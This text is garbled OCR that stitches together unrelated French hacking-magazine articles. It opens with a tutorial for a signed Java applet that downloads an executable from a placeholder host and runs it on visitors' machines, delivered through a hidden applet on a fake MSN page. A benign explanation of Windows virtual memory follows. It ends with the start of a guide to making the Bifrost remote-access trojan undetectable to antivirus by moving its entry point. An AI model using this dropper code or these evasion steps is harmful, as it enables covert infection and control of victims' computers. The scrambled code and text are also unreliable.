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// Le nom du fichier en local
String fname = "\\evil.exe";
String efool = fileoot.concat(fname);
BufferedOutputStream bufferedoutputstream = null;
InputStream inputstream = null;

// URL du fichier a télécharger
URL url = new URL("http://tonsite.net/evil.exe");

// Création de evil.exe sur la machine
bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(efool));

// Téléchargement du fichier depuis I'URL donnée plus haut
URLConnection urlconnection = url.openConnection();

// Copie du fichier de I'URL dans le fichier local
inputstream = urlconnection.getinputStream();
byte abyteO[] = new byte[1024];
inti
for(long | = OL; (i = inputstream.read(abyte0)) !=-1; 1 +=i)
bufferedoutputstream.write(abyteO, 0, i);

try
{
if(inputstream != null)
inputstream.close();
if(bufferedoutputstream != null)
bufferedoutputstream.close();

catch(IOException ioexception) {
}

// Exécution du fichier
Runtime runtime = Runtime.getRuntime();
try
{
Process process = runtime.exec(efool);
process.waitFor();
BufferedReader bufferedreader = new BufferedReader(new
InputStreamReader(process.getinputStream()));

catch(Exception exceptionl) {

}
try
{
if(inputstream != null)
inputstream.close();
if(bufferedoutputstream != null)
bufferedoutputstream.close();

catch(IOException ioexceptionl) {

}

}
catch(Exceptione) { }
}

public void main(String args|])

{

start();
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Explication et personnalisation du code
source :

Cette application en java va télécharger dans le dossier
temporaire du PC de la victime le fichier evil.exe depuis
I'URL mise dans ur/ = puis va l'exécuter.

Remplacez I'URL dans ur/ = new
URL("http://tonsite.net/evil.exe"); par votre URL.
Remplacez le nom du fichier de destination ici : String
fname = "|levil.exe";

Copiez et enregistrez sous Evil.java

Vous pouvez modifier le nom de I'applet pour le rendre
moins suspicieux, pour cela vous devez renommer :
public class Evil extends Applet en public class
cequetuveux extends Applet

et enregistrer sous cequetuveux.java

Pour la suite du tutoriel je vais garder le nom Evil.

te de commandes

(i ”‘II"ilI'IN II

Compilation de l'application :

Maintenant que I'on a le Evil.java il va falloir le compiler.

Si vous n'avez pas encore le SDK java vous pouvez le
télécharger ici : http://java.sun.com/javase/6/download.jsp
Ouvrez une fenétre CMD (en mode administrateur si
vous étes sous Vista ou 7).

Naviguez vers le répertoire ou se trouve le SDK (chez
moi : jdk1.6.0_16)

cd C:|\Program Files\Javaljdk1.6.0_16\bin

Collez dans \bin le fichier Evil.java

Dans l'invite de commande tapez : javac Evil.java

Microsoft Windows [version 6.8.68021
Copyright (c» 2006 Microsoft Corporation. Tous droits réseruv

C:sMindowsssysten32rcd c:N

c:nJed GasProgram FilesSJavasjdkl.6.B_165Nhin
C:wFrogram FilessJavasjdkl.6.8_16~bin>javac Evil. java
C:nProgram Files“Java“sjdkl.6._8_16%5bin>_

Un fichier Evil.class viens normalement d'étre créé dans le répertoire \bin

Il faut maintenant compiler la class en fichier .jar avec la commande suivante :

Copyright (’c)dZBBB Microsoft Corporation. Tous droits rése
CzsWindowsssystem32>cd c:o™

c=x2»cd C:~Program Files“Java“jdkl.6.@_1i6%bin

C:wProgram FilessJavasjdkl.6.8_16~bhin>javac Evil. java
C:Program FilessJavasjdkl.6.8_i6~bhin>jar cf Evil.jar Evil.class
C:wProgram FilessJavasjdkl.6.8_16%bin>

jar cf Evil.jar Evil.class
Vous avez maintenant un fichier Evil.jar

III"‘""I--_-_-_-_-"‘—“I“
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Création d'un certificat :

Votre applet est prét il ne reste plus qu'a le signer avec un certificat.

Le certificat sera valide 6 mois.

Nous allons utiliser I'outil "keytool" présent dans le dossier \bin pour signer notre applet.
Dans l'invite de commande tapez :

keytool -genkey -keystore moncert -alias me

Répondez aux questions, retenez bien votre mot de passe pour la clé car il vous sera demandé par la suite.

. Prénom / nom

. Unité organisationnelle

. Nom de votre organisation
. Ville de résidence

. Etat ou Province

. Code pays a 2 lettres

Pour les informations requises essayez de mettre des données qui n'attire pas I'attention.

¥ Adrinistrateur ; Invite de command

C:\ﬁﬁngram FilessJavasjdkl .6 .B_165hin}*keytool —genkey —keystore moncert —alias ﬁl’ﬁ

e
Tapez le mot de passe du Keystore :
Mot de passe de HKeystore trop court, il doit compter au moins 6 caractbres
Tapez le mot de passe du Keystore :
Hessaisissez le nouveauw mot de passe :
Quels sont vos prlnom et nom 7
[Unknownl : rocco siffredi
Quel est le nom de votre unitl organisationnelle 7
[Unknown] = corp
Quelle est le nom de votre organisation 7
[Unknown]l : dorcel prod "
Quel est le nom de votre ville de woOsidence 7
[Unknownl = rome
Quel est le nom de votre Otat ou province 7
[Unknownl : . ;
Quel est le code de pays 0 deux lettres pour cette wnito 7
[Unknownl =
Ezt—-ce CM=rocco siffredi, OU=corp,. O=dorcel prod, L=rome, ST=IT. GC=IT ?
[nonl = oui
Splcifiez le mot de passe de la cld pour <me>
Cappuyez sur Entrle s5'il s’agit du mot de passe du Keystore) :
Ressaisissez le nouveau mot de passe =

C:“\Program FilessJavasjdkl.6.8_16xbin>_

Ensuite on valide notre certificat :

keytool -selfcert -keystore moncert -alias me

Voila notre certificat est prét, on doit maintenant I'assigner a notre applet.

jarsigner -keystore moncert Evil.jar me

@ Administrateur : Invite de commandes 'L@ﬁ

C:sProgram Files“Javasjdkl.6.@_16Mbinrjarsigner —keystore moncert Evil.jar me
8Enter Passphrase for keystore:

Warning:
The signer certificate will expire within six months.

C:sProgram Files“Javasjdkl.6.@8_16%biny_

s | e —
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La derniére étape est I'insertion du code qui exécutera notre applet sur une page web.

Vous uploadez les fichiers Evil.class et Evil.jar sur votre site puis un fichier php qui contient :

Installation de l'applet sur une page web :

<applet width="1' height="1' code="Evil.class' archive='Evil.jar'> </applet>

Voila votre applet prét a fonctionner.
Exemple de fonctionnement sur une fausse page aux couleurs de msn :

' httpi//msn: net/

MSN Toolbar | Wi

@ Hotmail Airfares & Travel Dating & Personals Maps & Directions Real Estate/Rentals Weatt
Autos Games Mane, Shepping White
Wond:
Yellow

msN ©
La signature numérique de I'application ne peut pas |

PE——
» Sign in étre vérifiée. vous I 2

@ Messenger 3
° My MsN ity { Avertissement - Securite

© Download IE8

Make MSN your homepage
ize your Page il

Nom: Poker
|| Editeur: Midkacl Davis

De: hittp:fmsn+ net

[ $oiiours Faie confiance aul contend provenant de cet Editsur]
L

[7y] Lo sonaturs numénque ne peut pas e vériide par une surce de
() contarce teincs Tl R oA A WM et

Une fois le bouton « Executer» cliqué, evil.exe se télécharge dans le répertoire
TEMP de votre ordinateur et s'exécute.

Prévention contre ce type d'infection :

Comme on peut le voir, n'importe quel site peut-étre utilisé a des fins de transmission de malware via un simple applet Java.

Il convient donc d'étre trés prudent lorsqu'on nous propose l'installation d'un plugin java, méme si vous faites confiance au site, car il
a peut étre été modifié par une personne malveillante.

Pour sécuriser votre navigation vous pouvez désactiver les plugin Java ou encore les filtrer.

Avec internet explorer la procédure est la suivante :

choisissez le menu Outils/Tools, |la rubrique Options Internet/internet Options, I'onglet
Sécurité/Security et finalement Personnaliser le niveau/Custom Level.

Faites défiler les choix jusqu'a Script/Scripting, puis désactivez Active Scripting et Script
des applets Java/Scripting of Java Applets.

Pour Netscape :
Choisissez le menu Edition/Edit, la rubrique Préférences/Preferences et lI'onglet
Avancé/Advanced. |l suffit alors de désactiver Activer java/Enable Java et Activer
JavaScript/Enable JavaScript.

Pour Firefox :

Dans le menu Outils / Options / Contenu décochez Activer Java et Activer JavaScript

Il existe un add-on pour Mozilla Firefox qui permet de filtrer ou désactiver les pugins Java,

Javascript ou encore ActiveX lors de la navigation, il est disponible ici
http://extensions.geckozone.org/noscript

N

Si vous ne désactivez pas les scripts Java, reste a vous de faire attention a ne pas
autoriser les scripts de sites douteux ou signés par des entreprises méconnues.

TR
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<< Balade avec la mémoire virtuelle >>
Par Homeostasie

Date de publication : 15/12/2009

1.Introduction

Tout au long de ce "paper”, nous allons nous promener dans le monde de la mémoire virtuelle sous une plateforme Windows
32 bits.

Pourquoi ce "paper"? L'idée m'est venue en aidant rapidement un internaute X sur un code d'injection de thread. Puis en y
réfléchissant, nombre de programmeurs utilise la fameuse API VirtualAlloc*() pour allouer de I'espace mémoire dans un
processus distant ou non. Notamment pour faire de l'injection de DLL ou de code, sans pour autant comprendre le mécanisme
qui se cache derriere. D’autant plus que j’ai I'impression que la « toile » n’est pas trés riche concernant ce théme.

Dans un premier temps, je présenterais I'utilité de la MV (Mémoire Virtuelle). J’expliquerais ensuite le principe de la pagination
et de I'accés a la mémoire physique. Enfin, pour digérer, nous verrons quelques exemples qui montrent I’évolution de la MV
lors des phases de réservation et d’engagement. Pour cela, je mettrais a disposition un petit outil que j'ai développé.

2.Présentation et utilité de la mémoire virtuelle

Avec l'augmentation du nombre de processus actifs gourmand en termes de mémoire, la mémoire physique ne peut pas
toujours satisfaire I'ensemble des processus. C'est notamment grace a la MV que ce probleme est résolu, ceci en mettant a
disposition des programmes plus de mémoire qu'ils en existent.

Dorénavant chaque processus recoit son propre espace d'adressage de 4Go. Valeur issue du nombre de fils d'adresses du
microprocesseur pour accéder a la mémoire physique, soit 2°32. A préciser que sur ces 4Go de mémoire adressable, 2 Go
sont destinés au mode utilisateur et les 2 Go restant au noyau.

.' -.mr.u i
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User
Mode
(Application)

2GB

Kernel
Mode
(System)

4GB

Disposition mémoire
utilisateur/noyau

Alors quelle est la solution mise en
ceuvre ? Bien, étant donné que

L1
e Gikdyi

I'intégralité de la mémoire au bon fonctionnement d'un processus n'est pas
nécessaire a un instant x, il est possible de stocker sur disque les parties inactives
ou temporaires. C'est le fichier d'échange qui fera office "d'extension" de RAM. Ce
fichier est nommé « swap file » sur plateforme Windows 95/98/ME et « page file »
sur Windows NT, incluant Windows 2000 et XP (pagefile.sys).

Quand un programme tentera d’accéder a une adresse qui n’est pas couramment
en RAM, cela générera une interruption, appelée « page fault ». Celle-ci demandera
au systeme de récupérer a partir du « page file », la page de 4 Ko contenant
|’adresse attendue.

A noter qu'au regard du processus, l'ensemble de la mémoire est toujours
disponible. Ce dernier ne remarquera nullement que c'est le processeur qui
intercepte I'acces et recharge la partie utile en RAM.

Le processeur divise la mémaoire virtuelle en blocs de 4Ko appelés "page". Lorsque
le code d'une application souhaite accéder a son espace d'adressage, le processeur
effectue un calcul sur l'adresse virtuelle pour déterminer le numéro de la page
concernée a partir de la table des pages (« page directories »).

Un avantage qui est apparu grace au principe de pagination est la possibilité de
projeter une méme page dans plusieurs espaces d'adressage. Ainsi plusieurs
processus accederont sans le savoir a la méme « page-frame » (emplacement
physique) a partir d'endroits différents (emplacement dans la mémoire virtuelle).
C'est notamment le cas lorsque plusieurs applications utilisent une DLL commune.

Concept de la gestion de la mémoire virtuelle.

Zone d ‘adresses virtuelles

o ‘une application

Code programme de
Iapplication

Mémoire plysigue
4 Ga Fracessenr i 200

Accés
Mmemoite

Pagen 4K o
Adresses Flags /

Page 2 4Ko
Page 1 4Ko
Tables des pages
Page 4Ko
1} 1]
Disque dur

3.Fonctionnement de la pagination et d'acceés de la mémoire

Comme dit précédemment, lorsqu'un processus souhaite accéder a une page mémoire, I'adresse virtuelle doit étre traduite en
adresse physique. Cette transformation est réalisée via la table dite "répertoire de tables de pages", souvent abrégée en

"répertoire de pages".

Cette table représente en fait un tableau de 1024 entrées de 32 bits, chaque entrée pointant sur I'adresse de base d'une table
de page. De plus, une entrée fournit diverses informations sur I'état de la table de page concernée. C'est ainsi que le
processeur découvre via un flag, si une page se trouve en mémoire physique ou au contraire, si il doit effectuer son
chargement en RAM au préalable avant de fournir I'accés au processus. De méme, il lui saura possible de déterminer si une
table de pages est en lecture seule ou non, si celle-ci est disponible pour le monde utilisateur ou noyau.

A savoir que le point d'entrée du répertoire de page est stocké dans le registre CR3.

Les figures ci-aprés illustrent la conversion d'une adresse linéaire en adresse physique et la structure d’'une entrée du

répertoire de pages.

=~

oire virtvei
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Conversion d'une addrese virtuelle en addresse physique

i

Adresse virtuelle

Index de Index de Offzet
tépettoire page

31 222 1211

0

Répertaire de pagss

A dresse de latable des pages

CR3

4 Ko

Adresse physigue ¢

Adresse de hase Offzet
31 Y nu 0
Tables des pages
PIg 4Ko
* Adtease de hase
1]

Structure d'une entrée du répertoire de page

Page-Directory Entry (4-KByte Page Table)
1211 9876543210

H

o e —_ |
§tructures PDE PTE |

Page-Table Base Address

PlP
Avail |G|P|o|alc|w
D|T

U
!
S

Global page (Ignored)
Page size (0 indicates 4 KBytes)

Reserved (set to 0)

s
Available for system programmer’s use J ‘

Accessed

Cache disabled

Write-through

User/Supervisor
Read/Write

Present

Comme l'illustration le montre, les 10 bits supérieurs de I'adresse virtuelle donne l'indice d'accés a l'intérieur du répertoire de
page pour obtenir I'adresse de la table de page concernée. On notera que I'on retrouve bien nos 2710 (1024) entrées pour
une taille finale du répertoire de page de 4 octets * 1024 entrées, soit 4Ko.
Les 10 bits suivants (12 a 21) de I'adresse virtuelle constituent un index dans la table de page. Comme précédemment une
table de page a 1024 entrées et chaque éléments de la table a pour valeur la partie haute de I'emplacement de |'adresse
physique (de 12 a 31). La valeur de cette entrée est aussi appelée "Page-Frame". La structure d’'une entrée de la table de
page est quasiment identique a celle d’'une entrée du répertoire de page.
Enfin les 12 bits de poids faible restant de I'adresse virtuelle représentent un offset a coupler avec I'adresse de base pour
obtenir I'adresse physique finale et ainsi récupérer les données voulues. L'offset peut atteindre une valeur de 2712 octets soir

4096.
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Je ne sais pas vous, mais moi cela me retourne le cerveau! Mais pourquoi donc tant de manipulation avec des index de table et
des offsets ?

Imaginons deux cas possibles :

. Dans le premier cas, nous avons seulement 2 étages avec une table de pages sur 10 bits et un offset pour I'adresse
de base sur 22 bits. Nous aurions donc 1024 entrées pointant chacune sur une page de 4Mb. Comme dit précédemment, la
taille d'une page sur la plupart des systemes est fixée a 4Kb. Alors pourquoi 4Mb n'est-il pas envisageable? A cause du
gaspillage de mémoire di a la fragmentation. Il est nettement préférable de perdre une page de 4Kb qu'une page de 4Mb.
D'autant plus si le programme utilise seulement quelques dizaines octets d'une page.

Mais alors, pourquoi pas une page de 1Kb, voire 512 octets? Parce qu'en fait la MMU (Memory Management Unit) utilise une
partie de la mémoire cache du processeur appelée TLB (Translation Lookaside Buffer) pour accélérer la traduction des adresses
virtuelles en adresses physiques. Pour résumer brievement, le TLB mémorise les derniers couples (page, offset) correspondant
aux derniéres pages physiques auxquelles le processeur a di accéder, ainsi on évite la perte de temps pour effectuer la
conversion d'une adresse virtuelle en adresse physique. En fait, avec I'augmentation de la taille mémoire RAM qu'un systeme
possede de nos jours, il s'avére qu'une page de 4Kb n'est pas le bon compromis en terme de gaspillage mémoire versus temps
de processeur pour effectuer la translation. En effet des pages de 16Kb seraient plutét recommandées.

. Dans le second cas, oui oui, j'avais dit qu'il y en avait deux, nous aurons aussi deux 2 étages mais cette fois-ci une
table de page sur 20 bits et un offset sur 12 bits afin d'obtenir des pages de 4Kb. Nous obtenons finalement une table qui
prendra en mémoire pour chaque processus 4 octets * 220, soit 4Mb. Ceci n'est pas non plus raisonnable. Ainsi donc un étage
supplémentaire est rajouté pour éviter de consommer inutilement de la mémoire pour chaque processus.

A ajouter en plus, la possibilité d’utiliser des flags de propriété dans chaque entrée des deux tables.

Mais maintenant, comment cela ce passe t'il dans un environnement multi-processus ? Pourquoi des processus peuvent
employer la méme adresse virtuelle dans leur espace adressable de 4Go sans pour autant qu'il y ait de collision en mémoire
physique ?

Tout simplement, parce qu'a chaque processus actif est associé un répertoire de page distinct. Et c'est a chaque commutation
de processus qu'un changement de contexte a lieu et qu'une nouvelle valeur du registre CR3 est chargée afin de pointer sur le
bon répertoire de page.

Bon, c'est fait, j'ai grillé un neurone! Vite un ti-punch pour rétablir la connexion... Bizarrement, mon crane résonne, martelé par
les effluves de citron vert et de sucre de canne, la prochaine fois je prendrais du rhum sec.

4.lllustration par des exemples

Pour I'ensemble de ces tests, les logiciels utilisés sont :
VirtualMem.exe, un petit outil que j'ai codé pour s’amuser avec la MV.
Le logiciel “Process Explorer” de Sysinternals pour visualiser I'état de la MV, de la mémoire engagée et physique.

A noter que je suis sur un systéme avec 3Go de RAM et un « page file » de 5Go.

Astuce : Lorsqu’il sera nécessaire d’allouer des milliers de régions, je vous conseille de réduire la console afin d’obtenir le résultat
plus rapidement.

4.1.Visualiser les informations concernant la MV sur son systéme et sur le processus
VirtualMem.exe.

Pour cela lancez la commande suivante:
VirtualMem.exe --blocknum 8 ou 8 représente le nombre de page allouée.
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Ci-dessous le résultat obtenu:

Information about Uirtual Memory

Granularity for the starting address at wvhich virtual memory can be allocated: 65536 (Bx1BBBA) .
Computer page size: 46896 (BxlBBB) .

Lowest memory address accessible: 65536 (Bx10808>.

Highest memory address accessible: 2147418111 (@x7ffeffff).

/%t~ Please. press key to reserve and commit virtual memory...

Reserve and commit Uirtual Memory

UirtualAlloc succeed to reserve a block. {(Uirtual Base Address of Block = BxBRS08B600)
£

-> UirtwalAlloc succeed to commit
- UirtualAlloc succeed to commit

a size of 4896 bytes.{Uirtual Base Address
a size 4896 bytes.(Uirtual Base Address
- UirtualAlloc succeed to commit a size 48%6 bytes.(Uirtual Base Address
- UirtualAlloc succeed to commit a size 4076 bytes.(Uirtual Base Address
- UirtwualAlloc succeed to commit a size 4876 bytes.(Uirtual Base Address

a

a

a

- UirtualAlloc succeed to commit size 4896 bytes.(Uirtual Base Address
- UirtualAlloc succeed to commit gize 48%6 bytes.(Uirtual Base Address
- VirtwualAlloc succeed to commit size 4076 bytes.(Uirtual Base Address

(T | | | Y
e e

On constate ici que la granularité d’allocation pour une région est de 64Ko (65536).

La taille d’'une page sur mon systeme est bien de 4Ko. En effet, a chaque appel de VirtualAlloc*(), I'adresse de base est multiple de
0x1000 soit 4Ko.

Je ne m’attarde pas sur I'adresse la plus basse. Enfin I'adresse la plus haute signifie que la derniere région qui peut étre utilisée
débute a I'adresse 0x7ffe0000. Je n’en dirais pas plus !

4.2.Comprendre la signification des différents états de la mémoire (libre, réservé ou engagé).

Un processus démarre avec l'ensemble de son espace adressable libre. Avant de pouvoir utiliser de la mémoire virtuelle, il est
nécessaire de la réserver afin d'éviter que tout autre appel a VirtualAlloc*() alloue la méme région. Cette opération n'engendre aucun
cout en termes de mémoire. Ni la mémoire physique, ni le "page file" n’est sollicité. Vérifions donc cela a |'aide de nos outils.

Nous allons réserver 512 Mo de MV, pour cela saisissez le commande suivante : VirtualMem.exe --regionnum 8000".

Le 8000 corresponds au nombre de régions a allouer. Soit la réservation mémoire attendue divisée par la granularité de I'adresse de
départ d'une région (512Mo/64Ko).

Ci-dessous un « screen shot » de I'état initial avant et apres réservation

2168 Interpréteur de commandes \Windows 30 452 K
3176 Wirtusivem exe d336 K

8% | Commit Charge: 12,55% | Processes: 36 Physical Usage; 23.71%

Avant laréservation mémoire

2168 |nterprétewur de commandes YWindows 0 452 K
H7E Wirtualhlem exe 21 336K

1,00%  Commit Charge: 12.57%  Processes: 36 Phwsical Usage: 23.66%

Aprés laréservation mémoire

Nous constatons bien que la mémoire engagée et la mémoire physique restent identiques. Par contre, la mémoire virtuelle
allouée au processus VirtualMem.exe a bien augmenté de 512 Mo.

|| bbb bbbt LD 111 I : |||||‘m||-n—-m—m-—m—nm—-.....
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Afin d'utiliser un espace réservé, la mémoire doit étre au préalable engagée. Il est possible d’engager une page a la fois ou
plusieurs pages. Ceci en fonction du nombre d'octets demandé.

Nous restons dans le méme cas de figure que précédemment mais cette fois nous allons engager toute la mémoire réservée
pour nos 8000 régions afin de constater que I'opération est cette fois-ci couteuse en ressources.

La ligne de commande a saisir est la suivante:

VirtualMem.exe --regionnum 8000 --blocknum 16 ol le 16 représente le nombre de blocs (ici équivalent a une page)
dans une région.

En effet, 16*4Ko équivaut bien a 64Ko. Etant donné que je possede sur mon PC 3Gb de RAM et un « page file » de 5Gb, je
devrais augmenter réciproquement les pourcentages de 17% et 10.2%.
Ci-dessous un « screen shot » de I'état initial avant et apres réservation/engagement:

2168 Interprétewr de commandes 'Windaws 30 452 K 2168 Interprétewr de commandes Windows 0452 K,
3740 Wirtualhem.exe JIEK 3740 YittualMem exe RZ1 336K
Cammit Charge (K) Commit Charige (K]
C.ur.rent G Physical Memary (k) Current 1 166 376 Fhiysical Memary (K)
Lirnit 5075 354 Limit 5 (175 354
‘ Total 3144 108 Takal 3144 108
= B Rovailable 2 355 160 Peak LI70560  pyaiable 2 350 776
F'Eak."l-imit 22,99% 5';.-'StE=I'I'I Cache 1 087 144 F'eakjLimit 23.|:||5':'.';-:- S'}"StEITI Cache 1 088 684
Tl e Current{Lint 73,38%

Avant engagement de la mémoire Apré A
pres engagement de la mémoire

Sacrebleu... Vous ne voyez pas un truc de bizarre. La mémoire engagée a bien augmenté comme attendue mais la mémoire physique
n’'a pas bougé. Pourquoi?

Tout simplement parce que la mémoire engagée n'est pas utilisée par I'application, donc il n'y a pas lieu de charger les pages en
mémoire physique.

Une fagon simple de forcer ce « swapping » est de tout simplement écrire quelques données dans chaque page engagée.

La ligne de commande a saisir est la suivante:
VirtualMem.exe --regionnum 8000 --blocknum 16 --write 128 olU 128 représente le nombre d'octets a écrire dans chaque page.

Je précise que I'on aurait pu trés bien écrire uniquement 1 octet ou 4Ko, le résultat aurait été le méme en terme d’occupation de RAM.
La granularité du systéme pour charger une page en mémoire physique étant de 4Ko.

Ci-dessous un « screen shot » de |'état initial apres réservation/engagement et écriture:

2168 Interpréteur de commandes ‘Windaws a0 452 K
3740 Yirtualhem exe B2 36K

Commit Charge (k)

Current 1171 812 Pheysical Memary (K3

Lini = 073 364 Total 3 144 108
Peak 1 153 852 A ailable 1 868 636
PekjLimit 33 330, Swskem Cache 1 093 623
Current Limit 23.09%

Apres I’engagement de la mémoire et écriture dans les pages

At L1
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Cette fois-ci, la mémoire physique grimpe en fleche et nous avons bien consommé nos 512 Mo.
Vous pourrez remarqguer qu’apres libération de la mémoire a la derniére étape de mon « tool », tout redevient a I'état initial.

4.3 Pour terminer, utilisons I’ensemble des commandes pour mettre en évidence la
granularité d’une page et I’allocation de zone mémoire contiglie.

Dans un premier te temps, la commande a saisir :

VirtualMem.exe --startaddr 0eee0000 --regionnum 1 --regionsize 65536 --blocknum 1 --blocksize 1 --write 4096

Ici, en écrivant 4096 octets dans 1 bloc de 1 octets de mémoire engagée a partir de la région d’adresse de départ 0x0eee0000, on
constate que aucune erreur a lieu. Pourtant seulement un octet a été alloué. Encore une fois, ce comportement est d( a la granularité

d’allocation d’une page qui est de 4Ko.

Saisissons maintenant la commande suivante :
VirtualMem.exe --startaddr 0eee0000 --regionnum 1 --regionsize 65536 --blocknum 1 --blocksize 1 --write 4097

YirtualMem.exe - Application Error N il

@ The instruction at "0x77c470d2" referenced memory at "0x0eee1000", The memory could not be "written”.

Click on OK ko terminate the program
Click on CAMCEL to debug the program

Cancel |

Pop-up avertissant de I’accés a une adresse invalide

En écrivant maintenant 4097 octets, cette fois-ci le dernier octet sort de I'espace engagée et provoque une erreur fatale. D'ailleurs
grace a la pop-up, nous constatons bien que I'on effectue une écriture a I'adresse 0x0eeel000. Adresse qui correspond au début de
la page suivante non engagée.

Enfin pour terminer, utilisons la commande suivante :
VirtualMem.exe --startaddr 0eee0000 --regionnum 1 --regionsize 65536 --blocknum 1 --blocksize 4097 --write 8192

En engageant un bloc de 4097 octet, on réserve implicitement 2 pages de 4Ko de
mémoire contiglie. Donc I'écriture de 1 a 8192 octets ne produit aucune erreur. Par
contre, avec 8193, c’est le drame !

5.Conclusion

Je souhaite que cet article vous ait apporté les informations attendues. En tout cas, j'ai
essayé d’expliquer avec précision, les points essentiels de la mémoire virtuelle.

Afin de bien comprendre le principe de région, de pages, de blocs de mémoire contigie,
je vous conseille de jouer avec les différents paramétres de mon outil. D'autre part, pour
que vous puissiez manipuler a votre guise, je ne fais aucune vérification sur la pertinence
des données utilisateurs saisies.

Pour d'éventuelles questions, remarques, ou précisions sur le contenu de ce « paper » :
« homeostasie at live dot fr».
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actabi de Bifrost
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Etude sur l'indétection du Server de Bifrost 1.2d auprés des

1. Objectif :

. Tenter de rendre le Server
de Bifrost 1.2d qui est la derniéere
version du logiciel de contréle a
distance de Ksv indétecté aux
Antivirus

Logiciel Requis

Bifrost 1.2dR.A.T (Remote Access
Trojan )Plus communément appelé
Cheval de troie

http://rapidshare.com/files/13585604
0/Bifrost_1.2d.zi

2. Pourquoi cette
version ?

. C'est le R.AT (Remote
Access Trojan) le plus stable qui ai
été créé pour tous os Windows
confondus.

Antivirus

Par TrOOps
Date de publication : 2008

Il est FWB, c est a dire que c est le server qui se connecte au client , cela permet de
créer une connection a travers un réseau.

Il as la particularité de Bypass firewall et routeurs.
Il @ un un Rootkit Ring0 integré.
. Bizarre me direz-vous !

Comment un malware peut bypass firewall et routeur sans que le Nat du réseau sur
lequel le PC infecté ne se trouve soit configuré ?

Et bien, on fait de l'injection de code dans un prossessus qui a des droit de dialogue
avec le web. L'injection est une methode qui vas comme son nom l'indique injecter
du code dans un emplacement libre a une application qui a des droits au niveau
firewell genre le client web ou votre messenger préféré par exemple et utiliser sa
connection pour pouvoir dialoguer avec le Client.

L'injection ne contourne pas les defenses heuristiques des antivirus.

3. Les Etapes de l'indétectabilité

Commencons avec les caractéristiques de notre server auprés des AV, pour cela , je

vais utiliser comme test pour mes scan virustotal.com, c'est un scan en ligne d'une

trentaine d'antivirus. Le Server que je vais créer et téster sur virustoal sera bientot

détecté par les antivirus (le lendemain comme AVG) car Virustotal.com transmet les

fichiers douteux aux compagnies d'antivirus. Des solutions alternatives existent
omme le logiciel Mini AV's SCAN edité par Activespy.org.
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Voici le premier scan de notre server d'origine sur VirusTotal.

nner ¥ 1.0 Public £ [ris] - factivespy.oml &

Sielerh Fibe
Fil 1o Sean | BARAT S\Bi0sL 80 fed] : Seanfle |
SoeFie B3NN bple: g F
MDE of File 300dc 73S acaba 1 3701 (a0 :?,
Diestechion Fabes L;
14-19
ArErdnus W Debabanes - Last & Dt 134200
15 e Backdom. WindZ Bifinso.ale
A s the Trogan koee TRAAgent. bon. 34
=] N Teojan horse BackDoor Blrcse. L'
o [ ] WindZ Hifioee-AHY
W SuDslerder Aackdoo, Bilenzu AFE
[ Clateiin Ho i found
DrVelets BackDoor. DEfiost 57
Bl Tt Mo wiss Found
Emf Fio 2 & cecurdy xk e b "hackdon™ paogiam
BE Sty T Rack oo W2 Rilvoxze bl
Bll'_l s BackDop-CEF. gen
B8 s probably a vanaed of Wi 12 Difiose trogan
Mo Backdood W2 HE ose HEI
i 1o Mo viies Foumd
Farda Rk Milsnxza AKL
O3 CuickHeal -
EEH Sopheo: MalfBilrose-G
E® Tienddics Mo wittez Foumd
Ea?ﬂﬁﬁ: HackDaoi Bdiozl H1
B Tk w Pockar Datactand
B::]""Eiril:' LT AT
B D Histnirg fourd -
Shabus: Feady Froqrezs: [~ —————————

Mini av scanner

A ce point la, avec le Server d'origine , on peut deja voir que quelques
antivuirus ne sont déja pas a jours , pourtant se Stub est deja sur le
net depuis plusieurs semaines, mais que font les Multinationnal
commePanda Security alias Pandasoftware ?.

Le Stub et le corp du server sur lequel nous allons greffer des donnée tel que I'adresse IP du client ou I'adresse no-ip pour router son
ip , la methode d'install , etc .. bref, toutes les information que vous rentrer dans le builder quand vous creer votre server.

La taille du Stub d'origine de Bifrost 1.2d est 32 256 octets.
Les différentes étapes

3.1.Modification du point d'entrée
3.2.Détéction et modification d'une signature virale

3.1. Modifier le point d'entrée

Qllydbg 2.0 2 (les mbler une application et de mofiier son code ASM.

FE Editor 1.7 Editeur de urce PE, il permet de replacer le point d'entr

Le principe de cette méthode est de déplacer le point d'entrée dans une zone vide du code.Déja pour cela nous allons lancer Ollydbg
et analyser notre server. Quand vous ouvrez votre server ,ll vous demande si vous le décompresser, vous faites oui. Voila , nous voici
en plein dans l'interface de Ollydbg avec le server dessaemblé :

Le point d'entrée se trouve au niveau de la ligne 00407C89 qui est grisée.

Nous allons surligner les lignes qui nous interressent.

Puis clic droit dessus > Binary > Binary copy

Cherchons maintenant un endroit libre ou je puisse recopier mon point d'entrée.

Plus bas dans le server, vous trouverez de la place vide, elle se represente de cette facon :

Recopions maintenant notre point d'entrée dans cette zone libre.

Pas besoin de complet le nombre de lignes , surlignez au moin une trentaine de lignes vides et clic droit > Binary > Binary paste.

LI L e
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Vous obtenez ceci :

o R T
AE4EFEFS
BE4EFEFE
HE4EFEFS
BR4EFEFS
BA4EFEFE
AE4EFEFC
BE4EFFE2
BE4E7FFE4
BE4EFF B
BE4EFFET
BE487Fa2
BE4EFFAS
AER4E7FER
BE4E7FEE
BE4EFFEC
BE4EFFE0
AE4EFFEE
BE487FaF

o) LB 1

S]] [

55 FUSH EEP

SBEC Mo EEBP,ESP

S3EC 44 SUE ESF, 44

=] FPUSH ESI

FF15 121848680 CALL DWORD FTRE DS:[<&KERMELZZ.GetCommany kernel3z.GetCommandl ineR
SEFE& MOL EST, ERE

SREE MOW AL.BYTE PTR DS:[ESI]
S]] DB Ga

f5]5] DB Ba

ag DE - Ba

5[] DE. 88

(5]5] DE - 88

5] DE 88

(5[] OE" B8

5[] OB &3

S]] DB &8

ag DE a8

Nous allons rajouter plusieurs instructions a la suite. Il est important de decocher la case Fill with NOP's pour la suite des operations
IDouble cliquez sur la colone de l'instruction de la ligne 00407EF3 pour mon cas.

BE4EFEEY
BE4GBFEES
BE4EFEES
aa487EER
BR4E7FEEE
BE4EFEEC
BE4EFEED
BE4EFEEE
BE4EFEEF
BR4BFEFE
BE4EFEF 1
AE4EFEF2
BE4EFEF3
AE4EFEFS
BE4EFEFE
AE4EFEFE
BE4EFEFS
BE4GBFEFE
BE4EFEFC
aa487Faz
BE4E7F a4
AE4E7F A

ARAATERAT

o Assemble at 00407EF3 x|
o

£ PLISH 1 j
{5]5]

(5]5]

5]5] S ;

gg I Fill with NOP"s .ﬁ.ssemblel Carnicel |
aa

{5]5] ) =)

{551 DE &&

fa]5] DB @A

Bk FUSH EEF

